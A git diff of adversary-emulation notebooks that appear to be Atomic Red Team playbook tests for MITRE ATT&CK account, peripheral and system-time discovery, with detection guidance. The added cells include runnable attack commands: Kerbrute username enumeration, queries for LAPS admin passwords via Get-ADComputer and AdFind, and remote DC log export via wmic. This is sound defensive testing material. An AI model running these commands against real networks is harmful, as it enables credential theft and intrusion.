"cell_type": "markdown", - "id": "b5210f34", + "id": "bfab5b3e", "metadata": {}, - "source": "### Atomic Test #16 - Kerbrute - userenum\nEnumerates active directory usernames using the userenum function of Kerbrute\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:TEMP\\kerbrute.exe\"\n\n```\n##### Description: username text file must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\username.txt){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1087.002/src/username.txt?raw=true\" -outfile \"$env:TEMP\\username.txt\"\n\n```" + "source": "### Atomic Test #16 - Kerbrute - userenum\nEnumerates active directory usernames using the userenum function of Kerbrute\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"\n\n```\n##### Description: username text file must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\username.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1087.002/src/username.txt?raw=true\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\username.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e6a54869", + "id": "34885a2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4fdfeeb1", + "id": "3f91ac63", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\n.\\kerbrute.exe userenum -d $env:USERDOMAIN --dc $env:UserDnsDomain $env:TEMP\\username.txt```" + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe userenum -d $env:USERDOMAIN --dc $env:UserDnsDomain \"PathToAtomicsFolder\\..\\ExternalPayloads\\username.txt\"```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c8f7791f", + "id": "cbd73074", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "2339264a", + "id": "219ce2c0", + "metadata": {}, + "source": [ + "### Atomic Test #17 - Wevtutil - Discover NTLM Users Remote", + "This test discovers users who have authenticated against a Domain Controller via NTLM. \nThis is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$target = $env:LOGONSERVER\n$target = $target.Trim(\"\\\\\")\n$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString\nwmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\\\ntlmusers.evtx /q:\\\"Event[System[(EventID=4776)]]\"'```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1636c57c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "2af6ed4c", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \\\\$IpAddress\\c$\\ntlmusers.evtx\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8fd4ad96", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "953c4063", + "metadata": {}, + "source": [ + "### Atomic Test #18 - Suspicious LAPS Attributes Query with Get-ADComputer all properties", + "This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-ADComputer $env:computername -Properties *```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "81b82915", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 18" + }, + { + "cell_type": "markdown", + "id": "c98f38ab", + "metadata": {}, + "source": [ + "### Atomic Test #19 - Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property", + "This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-ADComputer $env:computername -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6a685c79", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 19" + }, + { + "cell_type": "markdown", + "id": "11584f8e", + "metadata": {}, + "source": [ + "### Atomic Test #20 - Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope", + "This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f1c17dd3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 20" + }, + { + "cell_type": "markdown", + "id": "b831f053", + "metadata": {}, + "source": [ + "### Atomic Test #21 - Suspicious LAPS Attributes Query with adfind all properties", + "This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -h $env:USERDOMAIN -s subtree -f \"objectclass=computer\" *\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "54fa277f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 21" + }, + { + "cell_type": "markdown", + "id": "d7e27093", + "metadata": {}, + "source": [ + "### Atomic Test #22 - Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd", + "This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -h $env:USERDOMAIN -s subtree -f \"objectclass=computer\" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1586dbda", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 22" + }, + { + "cell_type": "markdown", + "id": "e79b2e6c", + "metadata": {}, + "source": "### Atomic Test #23 - Active Directory Domain Search\nOutput information from LDAPSearch. LDAP Password is the admin-user password on Active Directory\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch\n\n##### Check Prereq Commands:\n```sh\nwhich ldapsearch\n\n```\n##### Get Prereq Commands:\n```sh\necho ldapsearch not found\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c0a76db7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 23 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "78876565", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nldapsearch -H ldap://example.test:389 -x -D user@example.test -w s3CurePssw0rD! -b \"CN=Users,DC=example,DC=test\" -s sub -a always -z 1000 dn\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c12367d6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 23" + }, + { + "cell_type": "markdown", + "id": "780f17d5", + "metadata": {}, + "source": "### Atomic Test #24 - Account Enumeration with LDAPDomainDump\nThis test uses LDAPDomainDump to perform account enumeration on a domain.\n[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Python3 must be installed\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v python3 --version)\" ]; then exit 0; else exit 1; fi;\n```\n##### Get Prereq Commands:\n```sh\nsudo apt-get -y install python3\n```\n##### Description: Pip must be installed\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v pip --version)\" ]; then exit 0; else exit 1; fi;\n```\n##### Get Prereq Commands:\n```sh\nwget -O /tmp/get-pip.py https://bootstrap.pypa.io/pip/3.6/get-pip.py\npython3 /tmp/get-pip.py\n```\n##### Description: The ldapdomaindump module must be installed\n##### Check Prereq Commands:\n```sh\npython3 -c 'import ldapdomaindump' 2>/dev/null\n```\n##### Get Prereq Commands:\n```sh\npip install ldapdomaindump\n```\n##### Description: The future module must be installed\n##### Check Prereq Commands:\n```sh\npython3 -c 'import future' 2>/dev/null\n```\n##### Get Prereq Commands:\n```sh\npip install future\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "08af5de1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 24 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "37309e47", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nldapdomaindump -u domain\\user -p password 127.0.0.1 -o /tmp/T1087```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5288e3f3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 24" + }, + { + "cell_type": "markdown", + "id": "8944e300", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -rf /tmp/T1087/ 2>/dev/null \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "aafcd079", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1087.002 -TestNumbers 24 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e16c4101", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n" } @@ -436,13 +651,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1087.003.ipynb b/playbook/tactics/discovery/T1087.003.ipynb index c90c21e0..958d0c33 100644 --- a/playbook/tactics/discovery/T1087.003.ipynb +++ b/playbook/tactics/discovery/T1087.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2e277897", + "id": "b2797b1a", "metadata": {}, "source": "# T1087.003 - Email Account\nAdversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)" }, { "cell_type": "markdown", - "id": "3b2a7abc", + "id": "b220b9c4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "dd54ece8", + "id": "8a057fd2", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1087.004.ipynb b/playbook/tactics/discovery/T1087.004.ipynb index a4ef856b..e7debcd0 100644 --- a/playbook/tactics/discovery/T1087.004.ipynb +++ b/playbook/tactics/discovery/T1087.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7e4e0141", + "id": "53eb60ed", "metadata": {}, "source": "# T1087.004 - Cloud Account\nAdversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)" }, { "cell_type": "markdown", - "id": "266ec78e", + "id": "07826ad4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3f55f16d", + "id": "b04d8121", "metadata": {}, "source": "## Detection\nMonitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1087.ipynb b/playbook/tactics/discovery/T1087.ipynb index 2ef9c79f..3ee2231f 100644 --- a/playbook/tactics/discovery/T1087.ipynb +++ b/playbook/tactics/discovery/T1087.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "78bdcd2e", + "id": "f87569ee", "metadata": {}, - "source": "# T1087 - Account Discovery\nAdversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior." + "source": "# T1087 - Account Discovery\nAdversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files." }, { "cell_type": "markdown", - "id": "a8ab5b52", + "id": "1132fed3", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "daa77c7d", + "id": "e0d04d6c", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)" }, { "cell_type": "markdown", - "id": "45c176e3", + "id": "25b5fb09", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender could alter the output from account enumeration commands to hide accounts or show the presence of accounts which do not exist.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1120.ipynb b/playbook/tactics/discovery/T1120.ipynb index 0e063160..0b60d5fd 100644 --- a/playbook/tactics/discovery/T1120.ipynb +++ b/playbook/tactics/discovery/T1120.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "109f153c", + "id": "8f838a1a", "metadata": {}, "source": "# T1120 - Peripheral Device Discovery\nAdversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions." }, { "cell_type": "markdown", - "id": "8c5cf429", + "id": "a0a4181c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7a042ba6", + "id": "e42e0a90", "metadata": {}, "source": [ "### Atomic Test #1 - Win32_PnPEntity Hardware Inventory", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8635f666", + "id": "992be4ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1120 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "12d3f6ae", + "id": "69dd7301", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1120_collection.txt -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "ce99f073", + "id": "d9094de2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1120 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c945cf67", + "id": "c8f56c46", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - printercheck", @@ -61,20 +61,20 @@ { "cell_type": "code", "execution_count": null, - "id": "8606deb3", + "id": "1e463445", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1120 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7cd02a5c", + "id": "3b0c1a20", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "5e5f5527", + "id": "fbc950f6", "metadata": {}, "source": "\n## Shield Active Defense\n### Peripheral Management \n Manage peripheral devices used on systems within the network for active defense purposes. \n\n\n \n\n Peripheral Management is the administration of peripheral devices used on systems within the network for defensive or deceptive purposes. A defender can choose to allow or deny certain types of peripherals from being used on systems. Defenders can also introduce certain peripherals to an adversary-controlled system to see how the adversary reacts.\n#### Opportunity\nThere is an opportunity to gauge an adversary's interest in connected peripheral devices.\n#### Use Case\nA defender can connect one or more peripheral devices to a decoy system to see if an adversary has any interest in them.\n#### Procedures\nIntroduce external devices (e.g. a USB drive) to a machine in an adversary engagement scenario to see how quickly an adversary gains awareness to its presence and if they attempt to leverage the device.\nConfigure controls (such as AutoRun) which would require an adversary to take additional steps when leveraging a peripheral device to execute their tools.\n" } @@ -82,13 +82,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1124.ipynb b/playbook/tactics/discovery/T1124.ipynb index ca7c778c..a6aced5b 100644 --- a/playbook/tactics/discovery/T1124.ipynb +++ b/playbook/tactics/discovery/T1124.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "029f166b", + "id": "6f76adbd", "metadata": {}, - "source": "# T1124 - System Time Discovery\nAn adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)" + "source": "# T1124 - System Time Discovery\nAn adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)" }, { "cell_type": "markdown", - "id": "7b4b669b", + "id": "49a2a738", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cf1b8220", + "id": "99848d29", "metadata": {}, "source": [ "### Atomic Test #1 - System Time Discovery", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0f1fa422", + "id": "a0aa83aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1124 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7cfd5393", + "id": "ec09aab6", "metadata": {}, "source": [ "### Atomic Test #2 - System Time Discovery - PowerShell", @@ -47,19 +47,19 @@ { "cell_type": "code", "execution_count": null, - "id": "9f3c0c93", + "id": "42e17984", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1124 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d844afe6", + "id": "2aed021a", "metadata": {}, "source": [ - "### Atomic Test #3 - System Time Discovery in macOS", + "### Atomic Test #3 - System Time Discovery in FreeBSD/macOS", "Identify system time. Upon execution, the local computer system time and timezone will be displayed. \n", - "**Supported Platforms:** macos", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\ndate\n```" ] @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e6c8e322", + "id": "c6273fbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1124 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1b4fc7fb", + "id": "35a70488", "metadata": {}, "source": [ "### Atomic Test #4 - System Time Discovery W32tm as a Delay", @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "23f40f4b", + "id": "a065c319", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1124 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "9789a571", + "id": "db0e7802", "metadata": {}, "source": [ "### Atomic Test #5 - System Time with Windows time Command", @@ -107,20 +107,20 @@ { "cell_type": "code", "execution_count": null, - "id": "a20583b5", + "id": "36b714f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1124 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "cb1d7a05", + "id": "0160e460", "metadata": {}, - "source": "## Detection\nCommand-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software." + "source": "## Detection\nCommand-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations." }, { "cell_type": "markdown", - "id": "1f8b91f2", + "id": "26aecb3c", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nIf the defender knows the specific regions an adversary is targeting, they can alter the output of commands which return systems times to return data consistent with what an adversary would want to see.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -128,13 +128,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": 